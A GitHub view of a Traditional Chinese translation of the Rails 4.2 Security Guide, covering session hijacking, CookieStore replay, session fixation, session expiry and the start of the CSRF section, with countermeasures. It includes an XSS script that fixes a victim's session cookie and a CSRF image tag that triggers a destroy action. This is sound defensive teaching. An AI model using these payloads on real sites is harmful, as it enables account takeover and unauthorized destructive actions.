Repository navigation
Expand file tree
/
Copy pathsecurity.html
More file actions
969 lines (872 loc) · 105 KB
/
Copy pathsecurity.html
File metadata and controls
969 lines (872 loc) · 105 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
<!DOCTYPE html>
<html lang="zh-TW">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Ruby on Rails 安全指南 — Ruby on Rails 指南</title>
<meta name="description" content="Ruby on Rails 指南:系統學習 Rails(Rails 4.2 版本)" >
<meta name="keywords" content="Ruby on Rails Guides 指南 中文 學習 免費 網路 Web 開發" >
<meta name="author" content="http://git.io/G_R1sA">
<meta property="fb:admins" content="1340181291">
<meta property="og:title" content="Ruby on Rails 安全指南 — Ruby on Rails 指南" >
<meta property="og:site_name" content="Ruby on Rails 指南">
<meta property="og:image" content="http://rails.ruby.tw/images/rails_guides_cover.jpg">
<meta property="og:url" content="http://rails.ruby.tw/">
<meta property="og:type" content="article">
<meta property="og:description" content="Ruby on Rails 指南:系統學習 Rails(Rails 4.2 版本)">
<link rel="stylesheet" href="stylesheets/application.css">
<link href="http://fonts.googleapis.com/css?family=Noto+Sans:400,700|Noto+Serif:700|Source+Code+Pro" rel="stylesheet">
<link href="images/favicon.ico" rel="shortcut icon" type="image/x-icon">
</head>
<body class="guide">
<div id="fb-root"></div>
<script>(function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) return;
js = d.createElement(s); js.id = id;
js.src = "//connect.facebook.net/zh-TW/sdk.js#xfbml=1&appId=837401439623727&version=v2.0";
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));</script>
<script type="text/javascript">
window.twttr=(function(d,s,id){var t,js,fjs=d.getElementsByTagName(s)[0];if(d.getElementById(id)){return}js=d.createElement(s);js.id=id;js.src="https://platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);return window.twttr||(t={_e:[],ready:function(f){t._e.push(f)}})}(document,"script","twitter-wjs"));
</script>
<div id="topNav">
<div class="wrapper">
<strong class="more-info-label">更多內容 <a href="http://rubyonrails.org/">rubyonrails.org:</a></strong>
<span class="red-button more-info-button">
更多內容
</span>
<ul class="more-info-links s-hidden">
<li class="more-info"><a href="http://rubyonrails.org/">綜覽</a></li>
<li class="more-info"><a href="http://rubyonrails.org/download">下載</a></li>
<li class="more-info"><a href="http://rubyonrails.org/deploy">部署</a></li>
<li class="more-info"><a href="https://github.com/rails/rails">原始碼</a></li>
<li class="more-info"><a href="http://rubyonrails.org/screencasts">影片</a></li>
<li class="more-info"><a href="http://rubyonrails.org/documentation">文件</a></li>
<li class="more-info"><a href="http://rubyonrails.org/community">社群</a></li>
<li class="more-info"><a href="http://weblog.rubyonrails.org/">Blog</a></li>
</ul>
</div>
</div>
<div id="header">
<div class="wrapper clearfix">
<h1><a href="index.html" title="回首頁">Guides.rubyonrails.org</a></h1>
<ul class="nav">
<li><a class="nav-item" href="index.html">首頁</a></li>
<li class="guides-index guides-index-large">
<a href="index.html" id="guidesMenu" class="guides-index-item nav-item">指南目錄</a>
<div id="guides" class="clearfix" style="display: none;">
<hr>
<dl class="L">
<dt>起步走</dt>
<dd><a href="getting_started.html">Rails 起步走</a></dd>
<dt>Models</dt>
<dd><a href="active_record_basics.html">Active Record 基礎</a></dd>
<dd><a href="active_record_migrations.html">Active Record 遷移</a></dd>
<dd><a href="active_record_validations.html">Active Record 驗證</a></dd>
<dd><a href="active_record_callbacks.html">Active Record 回呼</a></dd>
<dd><a href="association_basics.html">Active Record 關聯</a></dd>
<dd><a href="active_record_querying.html">Active Record 查詢</a></dd>
<dt>Views</dt>
<dd><a href="layouts_and_rendering.html">Rails 算繪與版型</a></dd>
<dd><a href="form_helpers.html">Action View 表單輔助方法</a></dd>
<dt>Controllers</dt>
<dd><a href="action_controller_overview.html">Action Controller 綜覽</a></dd>
<dd><a href="routing.html">Rails 路由:深入淺出</a></dd>
</dl>
<dl class="R">
<dt>深入了解</dt>
<dd><a href="active_support_core_extensions.html">Active Support 核心擴展</a></dd>
<dd><a href="i18n.html">Rails 國際化 API</a></dd>
<dd><a href="action_mailer_basics.html">Action Mailer 基礎</a></dd>
<dd><a href="active_job_basics.html">Active Job 基礎</a></dd>
<dd><a href="security.html">Rails 安全指南</a></dd>
<dd><a href="debugging_rails_applications.html">除錯 Rails 應用程式</a></dd>
<dd><a href="configuring.html">Rails 應用程式設定</a></dd>
<dd><a href="command_line.html">Rake 任務與 Rails 命令列工具</a></dd>
<dd><a href="asset_pipeline.html">Asset Pipeline</a></dd>
<dd><a href="working_with_javascript_in_rails.html">在 Rails 使用 JavaScript</a></dd>
<dd><a href="constant_autoloading_and_reloading.html">Constant Autoloading and Reloading</a></dd>
<dt>擴充 Rails</dt>
<dd><a href="rails_on_rack.html">Rails on Rack</a></dd>
<dd><a href="generators.html">客製與新建 Rails 產生器</a></dd>
<dd><a href="rails_application_templates.html">Rails 應用程式模版</a></dd>
<dt>貢獻 Ruby on Rails</dt>
<dd><a href="contributing_to_ruby_on_rails.html">貢獻 Ruby on Rails</a></dd>
<dd><a href="api_documentation_guidelines.html">API 文件準則</a></dd>
<dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails 指南準則</a></dd>
<dt>維護方針</dt>
<dd><a href="maintenance_policy.html">維護方針</a></dd>
<dt>發佈記</dt>
<dd><a href="upgrading_ruby_on_rails.html">升級 Ruby on Rails</a></dd>
<dd><a href="4_2_release_notes.html">Ruby on Rails 4.2 發佈記</a></dd>
<dd><a href="4_1_release_notes.html">Ruby on Rails 4.1 發佈記</a></dd>
<dd><a href="4_0_release_notes.html">Ruby on Rails 4.0 發佈記</a></dd>
<dd><a href="3_2_release_notes.html">Ruby on Rails 3.2 發佈記</a></dd>
<dd><a href="3_1_release_notes.html">Ruby on Rails 3.1 發佈記</a></dd>
<dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 發佈記</a></dd>
<dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 發佈記</a></dd>
<dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 發佈記</a></dd>
<dt>Rails 指南翻譯術語</dt>
<dd><a href="translation_terms.html">翻譯術語</a></dd>
</dl>
</div>
</li>
<li><a class="nav-item" href="//github.com/docrails-tw/guides">貢獻翻譯</a></li>
<li><a class="nav-item" href="contributing_to_ruby_on_rails.html">貢獻</a></li>
<li><a class="nav-item" href="credits.html">致謝</a></li>
<li class="guides-index guides-index-small">
<select class="guides-index-item nav-item">
<option value="index.html">指南目錄</option>
<optgroup label="起步走">
<option value="getting_started.html">Rails 起步走</option>
</optgroup>
<optgroup label="Models">
<option value="active_record_basics.html">Active Record 基礎</option>
<option value="active_record_migrations.html">Active Record 遷移</option>
<option value="active_record_validations.html">Active Record 驗證</option>
<option value="active_record_callbacks.html">Active Record 回呼</option>
<option value="association_basics.html">Active Record 關聯</option>
<option value="active_record_querying.html">Active Record 查詢</option>
</optgroup>
<optgroup label="Views">
<option value="layouts_and_rendering.html">Rails 算繪與版型</option>
<option value="form_helpers.html">Action View 表單輔助方法</option>
</optgroup>
<optgroup label="Controllers">
<option value="action_controller_overview.html">Action Controller 綜覽</option>
<option value="routing.html">Rails 路由:深入淺出</option>
</optgroup>
<optgroup label="深入了解">
<option value="active_support_core_extensions.html">Active Support 核心擴展</option>
<option value="i18n.html">Rails 國際化 API</option>
<option value="action_mailer_basics.html">Action Mailer 基礎</option>
<option value="active_job_basics.html">Active Job 基礎</option>
<option value="security.html">Rails 安全指南</option>
<option value="debugging_rails_applications.html">除錯 Rails 應用程式</option>
<option value="configuring.html">Rails 應用程式設定</option>
<option value="command_line.html">Rake 任務與 Rails 命令列工具</option>
<option value="asset_pipeline.html">Asset Pipeline</option>
<option value="working_with_javascript_in_rails.html">在 Rails 使用 JavaScript</option>
<option value="constant_autoloading_and_reloading.html">Constant Autoloading and Reloading</option>
</optgroup>
<optgroup label="擴充 Rails">
<option value="rails_on_rack.html">Rails on Rack</option>
<option value="generators.html">客製與新建 Rails 產生器</option>
<option value="rails_application_templates.html">Rails 應用程式模版</option>
</optgroup>
<optgroup label="貢獻 Ruby on Rails">
<option value="contributing_to_ruby_on_rails.html">貢獻 Ruby on Rails</option>
<option value="api_documentation_guidelines.html">API 文件準則</option>
<option value="ruby_on_rails_guides_guidelines.html">Ruby on Rails 指南準則</option>
</optgroup>
<optgroup label="維護方針">
<option value="maintenance_policy.html">維護方針</option>
</optgroup>
<optgroup label="發佈記">
<option value="upgrading_ruby_on_rails.html">升級 Ruby on Rails</option>
<option value="4_2_release_notes.html">Ruby on Rails 4.2 發佈記</option>
<option value="4_1_release_notes.html">Ruby on Rails 4.1 發佈記</option>
<option value="4_0_release_notes.html">Ruby on Rails 4.0 發佈記</option>
<option value="3_2_release_notes.html">Ruby on Rails 3.2 發佈記</option>
<option value="3_1_release_notes.html">Ruby on Rails 3.1 發佈記</option>
<option value="3_0_release_notes.html">Ruby on Rails 3.0 發佈記</option>
<option value="2_3_release_notes.html">Ruby on Rails 2.3 發佈記</option>
<option value="2_2_release_notes.html">Ruby on Rails 2.2 發佈記</option>
</optgroup>
<optgroup label="Rails 指南翻譯術語">
<option value="translation_terms.html">翻譯術語</option>
</optgroup>
</select>
</li>
</ul>
</div>
</div>
</div>
<hr class="hide">
<div id="feature">
<div class="wrapper">
<h2>Ruby on Rails 安全指南</h2><p>本文介紹網頁應用程式常見的安全問題,以及在 Rails 中該如何避免。</p><p>閱讀本文之後,你將會暸解:</p>
<ul>
<li>所有推薦使用的安全性對策。</li>
<li>Rails 中會話的概念,應該在會話中保存什麼樣的內容以及常見的攻擊手法。</li>
<li>單純訪問網站為什麼會造成安全問題(CSRF 跨站請求偽造)。</li>
<li>處理檔案與提供管理介面時,應該注意哪些問題。</li>
<li>如何管理使用者:登入登出以及各種攻擊手法。</li>
<li>最常見的注入攻擊手法。</li>
</ul>
<div id="subCol">
<h3 class="chapter"><img src="images/chapters_icon.gif" alt="" />Chapters</h3>
<ol class="chapters">
<li><a href="#%E7%B0%A1%E4%BB%8B">簡介</a></li>
<li>
<a href="#sessions">Sessions</a>
<ul>
<li><a href="#what-are-sessions-questionmark">What are Sessions?</a></li>
<li><a href="#session-id">Session id</a></li>
<li><a href="#session-hijacking">Session Hijacking</a></li>
<li><a href="#session-guidelines">Session Guidelines</a></li>
<li><a href="#session-storage">Session Storage</a></li>
<li><a href="#replay-attacks-for-cookiestore-sessions">Replay Attacks for CookieStore Sessions</a></li>
<li><a href="#session-fixation">Session Fixation</a></li>
<li><a href="#session-fixation-countermeasures">Session Fixation - Countermeasures</a></li>
<li><a href="#session-expiry">Session Expiry</a></li>
</ul>
</li>
<li>
<a href="#cross-site-request-forgery-csrf">Cross-Site Request Forgery (CSRF)</a>
<ul>
<li><a href="#csrf-countermeasures">CSRF Countermeasures</a></li>
</ul>
</li>
<li>
<a href="#redirection-and-files">Redirection and Files</a>
<ul>
<li><a href="#redirection">Redirection</a></li>
<li><a href="#file-uploads">File Uploads</a></li>
<li><a href="#executable-code-in-file-uploads">Executable Code in File Uploads</a></li>
<li><a href="#file-downloads">File Downloads</a></li>
</ul>
</li>
<li>
<a href="#intranet-and-admin-security">Intranet and Admin Security</a>
<ul>
<li><a href="#additional-precautions">Additional Precautions</a></li>
</ul>
</li>
<li>
<a href="#user-management">User Management</a>
<ul>
<li><a href="#brute-forcing-accounts">Brute-Forcing Accounts</a></li>
<li><a href="#account-hijacking">Account Hijacking</a></li>
<li><a href="#captchas">CAPTCHAs</a></li>
<li><a href="#logging">Logging</a></li>
<li><a href="#good-passwords">Good Passwords</a></li>
<li><a href="#regular-expressions">Regular Expressions</a></li>
<li><a href="#privilege-escalation">Privilege Escalation</a></li>
</ul>
</li>
<li>
<a href="#injection">Injection</a>
<ul>
<li><a href="#whitelists-versus-blacklists">Whitelists versus Blacklists</a></li>
<li><a href="#sql-injection">SQL Injection</a></li>
<li><a href="#cross-site-scripting-xss">Cross-Site Scripting (XSS)</a></li>
<li><a href="#css-injection">CSS Injection</a></li>
<li><a href="#textile-injection">Textile Injection</a></li>
<li><a href="#ajax-injection">Ajax Injection</a></li>
<li><a href="#command-line-injection">Command Line Injection</a></li>
<li><a href="#header-injection">Header Injection</a></li>
</ul>
</li>
<li><a href="#unsafe-query-generation">Unsafe Query Generation</a></li>
<li><a href="#default-headers">Default Headers</a></li>
<li><a href="#environmental-security">Environmental Security</a></li>
<li><a href="#additional-resources">Additional Resources</a></li>
</ol>
</div>
</div>
</div>
<div id="container">
<div class="wrapper">
<div id="mainCol">
<h3 id="簡介">1 簡介</h3><p>網頁應用程式框架能夠幫助開發者開發網頁應用程式。有些框架也能加強網頁的安全性。事實上,框架之間並沒有誰比誰更安全:只要使用得當,可以用任何框架開發出安全的網頁應用程式。Ruby on Rails 提供一些聰明的幫助方法,例如避免SQL資料隱碼攻擊(SQL injection),所以我們不必為此擔心。很高興我見到的所有 Rails 應用程式都有很高的安全性。</p><p>一般來說安全性並不能隨插即用。安全性取決於使用的框架,有時候也與開發方式有關。安全性會受到網頁應用程式的所有環節影響:儲存方式、網頁伺服器以及應用程式本身(也可能是其他層面的問題)。</p><p>高德納諮詢公司(Gartner Group)估計有 75% 的攻擊都來自於網頁應用程式層面,同時也指出「300 個接受檢查的網站,97% 存在安全性風險」。這是因為網頁應用程式就連外行人也很容易瞭解與操作,使得它相對易於受到攻擊。</p><p>對網頁應用程式不利的威脅包括:竊取使用者帳戶、繞開訪問限制、讀取敏感資料或是顯示詐欺內容。攻擊者也有可能安裝木馬程式或是未經允許的郵件發送程式,目的是獲得金錢上的回報或是竄改目標公司資料導致品牌信譽受到影響。為了防範這些攻擊,降低攻擊的影響以及移除可能受到攻擊的弱點,你必須完全暸解攻擊手法才能找出對策。這就是本文的目的。</p><p>為了開發出安全的應用程式,你必須要保持更新相關知識,並暸解你的攻擊者。持續訂閱安全性相關的郵件列表、部落格文章,將更新與確認安全性當作一種習慣(查看<a href="#additional-resources">相關資源</a>章節)。親自做這些事情,因為這樣你就能夠從中找到邏輯上的糟糕安全性問題。</p><h3 id="sessions">2 Sessions</h3><p>A good place to start looking at security is with sessions, which can be vulnerable to particular attacks.</p><h4 id="what-are-sessions-questionmark">2.1 What are Sessions?</h4><div class="note"><p><em>HTTP is a stateless protocol. Sessions make it stateful.</em></p></div><p>Most applications need to keep track of certain state of a particular user. This could be the contents of a shopping basket or the user id of the currently logged in user. Without the idea of sessions, the user would have to identify, and probably authenticate, on every request.
Rails will create a new session automatically if a new user accesses the application. It will load an existing session if the user has already used the application.</p><p>A session usually consists of a hash of values and a session id, usually a 32-character string, to identify the hash. Every cookie sent to the client's browser includes the session id. And the other way round: the browser will send it to the server on every request from the client. In Rails you can save and retrieve values using the session method:</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
session[:user_id] = @current_user.id
User.find(session[:user_id])
</pre>
</div>
<h4 id="session-id">2.2 Session id</h4><div class="note"><p><em>The session id is a 32 byte long MD5 hash value.</em></p></div><p>A session id consists of the hash value of a random string. The random string is the current time, a random number between 0 and 1, the process id number of the Ruby interpreter (also basically a random number) and a constant string. Currently it is not feasible to brute-force Rails' session ids. To date MD5 is uncompromised, but there have been collisions, so it is theoretically possible to create another input text with the same hash value. But this has had no security impact to date.</p><h4 id="session-hijacking">2.3 Session Hijacking</h4><div class="warning"><p><em>Stealing a user's session id lets an attacker use the web application in the victim's name.</em></p></div><p>Many web applications have an authentication system: a user provides a user name and password, the web application checks them and stores the corresponding user id in the session hash. From now on, the session is valid. On every request the application will load the user, identified by the user id in the session, without the need for new authentication. The session id in the cookie identifies the session.</p><p>Hence, the cookie serves as temporary authentication for the web application. Anyone who seizes a cookie from someone else, may use the web application as this user - with possibly severe consequences. Here are some ways to hijack a session, and their countermeasures:</p>
<ul>
<li>
<p>Sniff the cookie in an insecure network. A wireless LAN can be an example of such a network. In an unencrypted wireless LAN it is especially easy to listen to the traffic of all connected clients. This is one more reason not to work from a coffee shop. For the web application builder this means to <em>provide a secure connection over SSL</em>. In Rails 3.1 and later, this could be accomplished by always forcing SSL connection in your application config file:</p>
<div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
config.force_ssl = true
</pre>
</div>
</li>
<li><p>Most people don't clear out the cookies after working at a public terminal. So if the last user didn't log out of a web application, you would be able to use it as this user. Provide the user with a <em>log-out button</em> in the web application, and <em>make it prominent</em>.</p></li>
<li><p>Many cross-site scripting (XSS) exploits aim at obtaining the user's cookie. You'll read <a href="#cross-site-scripting-xss">more about XSS</a> later.</p></li>
<li><p>Instead of stealing a cookie unknown to the attacker, they fix a user's session identifier (in the cookie) known to them. Read more about this so-called session fixation later.</p></li>
</ul>
<p>The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the <a href="http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf">Symantec Global Internet Security Threat Report</a>.</p><h4 id="session-guidelines">2.4 Session Guidelines</h4><p>Here are some general guidelines on sessions.</p>
<ul>
<li><p><em>Do not store large objects in a session</em>. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.</p></li>
<li><p><em>Critical data should not be stored in session</em>. If the user clears their cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.</p></li>
</ul>
<h4 id="session-storage">2.5 Session Storage</h4><div class="note"><p><em>Rails provides several storage mechanisms for the session hashes. The most important is <code>ActionDispatch::Session::CookieStore</code>.</em></p></div><p>Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:</p>
<ul>
<li><p>Cookies imply a strict size limit of 4kB. This is fine as you should not store large amounts of data in a session anyway, as described before. <em>Storing the current user's database id in a session is usually ok</em>.</p></li>
<li><p>The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, <em>you don't want to store any secrets here</em>. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.</p></li>
</ul>
<p>That means the security of this storage depends on this secret (and on the digest algorithm, which defaults to SHA1, for compatibility). So <em>don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters</em>.</p><p><code>secrets.secret_key_base</code> is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get <code>secrets.secret_key_base</code> initialized to a random key present in <code>config/secrets.yml</code>, e.g.:</p><div class="code_container">
<pre class="brush: plain; gutter: false; toolbar: false">
development:
secret_key_base: a75d...
test:
secret_key_base: 492f...
production:
secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
</pre>
</div>
<p>Older versions of Rails use CookieStore, which uses <code>secret_token</code> instead of <code>secret_key_base</code> that is used by EncryptedCookieStore. Read the upgrade documentation for more information.</p><p>If you have received an application where the secret was exposed (e.g. an application whose source was shared), strongly consider changing the secret.</p><h4 id="replay-attacks-for-cookiestore-sessions">2.6 Replay Attacks for CookieStore Sessions</h4><div class="info"><p><em>Another sort of attack you have to be aware of when using <code>CookieStore</code> is the replay attack.</em></p></div><p>It works like this:</p>
<ul>
<li>A user receives credits, the amount is stored in a session (which is a bad idea anyway, but we'll do this for demonstration purposes).</li>
<li>The user buys something.</li>
<li>Their new, lower credit will be stored in the session.</li>
<li>The dark side of the user forces them to take the cookie from the first step (which they copied) and replace the current cookie in the browser.</li>
<li>The user has their credit back.</li>
</ul>
<p>Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).</p><p>The best <em>solution against it is not to store this kind of data in a session, but in the database</em>. In this case store the credit in the database and the logged_in_user_id in the session.</p><h4 id="session-fixation">2.7 Session Fixation</h4><div class="note"><p><em>Apart from stealing a user's session id, the attacker may fix a session id known to them. This is called session fixation.</em></p></div><p><img src="images/session_fixation.png" alt="Session fixation"></p><p>This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:</p>
<ul>
<li>The attacker creates a valid session id: They load the login page of the web application where they want to fix the session, and take the session id in the cookie from the response (see number 1 and 2 in the image).</li>
<li>They possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore they access the web application from time to time in order to keep the session alive.</li>
<li>Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: <code><script>document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";</script></code>. Read more about XSS and injection later on.</li>
<li>The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.</li>
<li>As the new trap session is unused, the web application will require the user to authenticate.</li>
<li>From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.</li>
</ul>
<h4 id="session-fixation-countermeasures">2.8 Session Fixation - Countermeasures</h4><div class="info"><p><em>One line of code will protect you from session fixation.</em></p></div><p>The most effective countermeasure is to <em>issue a new session identifier</em> and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
reset_session
</pre>
</div>
<p>If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, <em>you have to transfer them to the new session</em>.</p><p>Another countermeasure is to <em>save user-specific properties in the session</em>, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. <em>These might change over the course of a session</em>, so these users will not be able to use your application, or only in a limited way.</p><h4 id="session-expiry">2.9 Session Expiry</h4><div class="note"><p><em>Sessions that never expire extend the time-frame for attacks such as cross-site request forgery (CSRF), session hijacking and session fixation.</em></p></div><p>One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to <em>expire sessions in a database table</em>. Call <code>Session.sweep("20 minutes")</code> to expire sessions that were used longer than 20 minutes ago.</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
class Session < ActiveRecord::Base
def self.sweep(time = 1.hour)
if time.is_a?(String)
time = time.split.inject { |count, unit| count.to_i.send(unit) }
end
delete_all "updated_at < '#{time.ago.to_s(:db)}'"
end
end
</pre>
</div>
<p>The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:</p><div class="code_container">
<pre class="brush: ruby; gutter: false; toolbar: false">
delete_all "updated_at < '#{time.ago.to_s(:db)}' OR
created_at < '#{2.days.ago.to_s(:db)}'"
</pre>
</div>
<h3 id="cross-site-request-forgery-csrf">3 Cross-Site Request Forgery (CSRF)</h3><p>This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands.</p><p><img src="images/csrf.png" alt=""></p><p>In the <a href="#sessions">session chapter</a> you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:</p>
<ul>
<li>Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file.</li>
<li><code><img src="http://www.webapp.com/project/1/destroy"></code></li>
<li>Bob's session at <a href="http://www.webapp.com">www.webapp.com</a> is still alive, because he didn't log out a few minutes ago.</li>
<li>By viewing the post, the browser finds an image tag. It tries to load the suspected image from <a href="http://www.webapp.com">www.webapp.com</a>. As explained before, it will also send along the cookie with the valid session id.</li>
<li>The web application at <a href="http://www.webapp.com">www.webapp.com</a> verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.</li>
<li>Bob doesn't notice the attack - but a few days later he finds out that project number one is gone.</li>
</ul>
<p>It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere - in a forum, blog post or email.</p><p>CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) - less than 0.1% in 2006 - but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work - <em>CSRF is an important security issue</em>.</p><h4 id="csrf-countermeasures">3.1 CSRF Countermeasures</h4><div class="note"><p><em>First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF.</em></p></div><p>The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:</p><p><strong>Use GET if:</strong></p>
<ul>
<li>The interaction is more <em>like a question</em> (i.e., it is a safe operation such as a query, read operation, or lookup).</li>
</ul>
<p><strong>Use POST if:</strong></p>
<ul>
<li>The interaction is more <em>like an order</em>, or</li>
<li>The interaction <em>changes the state</em> of the resource in a way that the user would perceive (e.g., a subscription to a service), or</li>
<li>The user is <em>held accountable for the results</em> of the interaction.</li>
</ul>
